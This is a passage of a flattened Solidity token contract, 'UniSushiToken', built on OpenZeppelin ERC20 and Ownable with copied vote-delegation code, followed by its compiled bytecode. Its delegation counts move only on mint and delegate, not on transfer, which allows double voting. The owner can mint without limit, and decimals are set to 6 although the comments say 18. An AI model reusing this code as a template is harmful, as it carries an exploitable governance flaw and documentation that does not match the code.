functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 6; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/UniSushiToken.sol pragma solidity 0.6.12; contract UniSushiToken is ERC20("unisushi", "UNISUSHI"), Ownable { function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM and COMPOUND and SUSHI: mapping (address => address) internal _delegates; struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "UniSushiToken::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "UniSushiToken::delegateBySig: invalid nonce"); require(now <= expiry, "UniSushiToken::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "UniSushiToken::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying UniSushiToken (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "unisushi::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063715018a6116100de578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e1461086e578063e7a324dc146108e6578063f1127ed814610904578063f2fde38b1461097957610173565b8063a9059cbb14610739578063b4b5ea571461079d578063c3cda520146107f557610173565b8063715018a61461055a578063782d6fe1146105645780637ecebe00146105c65780638da5cb5b1461061e57806395d89b4114610652578063a457c2d7146106d557610173565b80633950935111610130578063395093511461034057806340c10f19146103a4578063587cde1e146103f25780635c19a95c146104605780636fcfff45146104a457806370a082311461050257610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806320606b701461027d57806323b872dd1461029b578063313ce5671461031f575b600080fd5b6101806109bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a5f565b60405180821515815260200191505060405180910390f35b610267610a7d565b6040518082815260200191505060405180910390f35b610285610a87565b6040518082815260200191505060405180910390f35b610307600480360360608110156102b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aab565b60405180821515815260200191505060405180910390f35b610327610b84565b604051808260ff16815260200191505060405180910390f35b61038c6004803603604081101561035657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9b565b60405180821515815260200191505060405180910390f35b6103f0600480360360408110156103ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c4e565b005b6104346004803603602081101561040857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d91565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104a26004803603602081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dfa565b005b6104e6600480360360208110156104ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e07565b604051808263ffffffff16815260200191505060405180910390f35b6105446004803603602081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e2a565b6040518082815260200191505060405180910390f35b610562610e72565b005b6105b06004803603604081101561057a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ffd565b6040518082815260200191505060405180910390f35b610608600480360360208110156105dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113be565b6040518082815260200191505060405180910390f35b6106266113d6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61065a611400565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561069a57808201518184015260208101905061067f565b50505050905090810190601f1680156106c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610721600480360360408110156106eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114a2565b60405180821515815260200191505060405180910390f35b6107856004803603604081101561074f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061156f565b60405180821515815260200191505060405180910390f35b6107df600480360360208110156107b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061158d565b6040518082815260200191505060405180910390f35b61086c600480360360c081101561080b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050611663565b005b6108d06004803603604081101561088457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c7565b6040518082815260200191505060405180910390f35b6108ee611a4e565b6040518082815260200191505060405180910390f35b6109566004803603604081101561091a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff169060200190929190505050611a72565b604051808363ffffffff1681526020018281526020019250505060405180910390f35b6109bb6004803603602081101561098f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ab3565b005b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a555780601f10610a2a57610100808354040283529160200191610a55565b820191906000526020600020905b815481529060010190602001808311610a3857829003601f168201915b5050505050905090565b6000610a73610a6c611cc3565b8484611ccb565b6001905092915050565b6000600254905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6000610ab8848484611ec2565b610b7984610ac4611cc3565b610b7485604051806060016040528060288152602001612d6560289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b2a611cc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121839092919063ffffffff16565b611ccb565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610c44610ba8611cc3565b84610c3f8560016000610bb9611cc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224390919063ffffffff16565b611ccb565b6001905092915050565b610c56611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610d2282826122cb565b610d8d6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612492565b5050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b610e04338261272f565b50565b60086020528060005260406000206000915054906101000a900463ffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e7a611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000438210611057576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180612d356030913960400191505060405180910390fd5b6000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1614156110c45760009150506113b8565b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16116111ae57600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff168152602001908152602001600020600101549150506113b8565b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16111561122f5760009150506113b8565b6000806001830390505b8163ffffffff168163ffffffff161115611352576000600283830363ffffffff168161126157fe5b048203905061126e612c4b565b600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff16141561132a578060200151955050505050506113b8565b86816000015163ffffffff1610156113445781935061134b565b6001820392505b5050611239565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b60096020528060005260406000206000915090505481565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114985780601f1061146d57610100808354040283529160200191611498565b820191906000526020600020905b81548152906001019060200180831161147b57829003601f168201915b5050505050905090565b60006115656114af611cc3565b8461156085604051806060016040528060258152602001612e5f60259139600160006114d9611cc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121839092919063ffffffff16565b611ccb565b6001905092915050565b600061158361157c611cc3565b8484611ec2565b6001905092915050565b600080600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116115f757600061165b565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86661168e6109bd565b8051906020012061169d6128a0565b30604051602001808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019450505050506040516020818303038152906040528051906020012090506000828260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611821573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180612d8d602f913960400191505060405180910390fd5b600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612e05602b913960400191505060405180910390fd5b874211156119b1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180612e30602f913960400191505060405180910390fd5b6119bb818b61272f565b50505050505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6007602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b611abb611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b7d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612cc76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612de16024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612ced6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612dbc6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612c6c6023913960400191505060405180910390fd5b611fd98383836128ad565b61204481604051806060016040528060268152602001612d0f602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121839092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120d7816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290612230576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156121f55780820151818401526020810190506121da565b50505050905090810190601f1680156122225780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156122c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561236e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61237a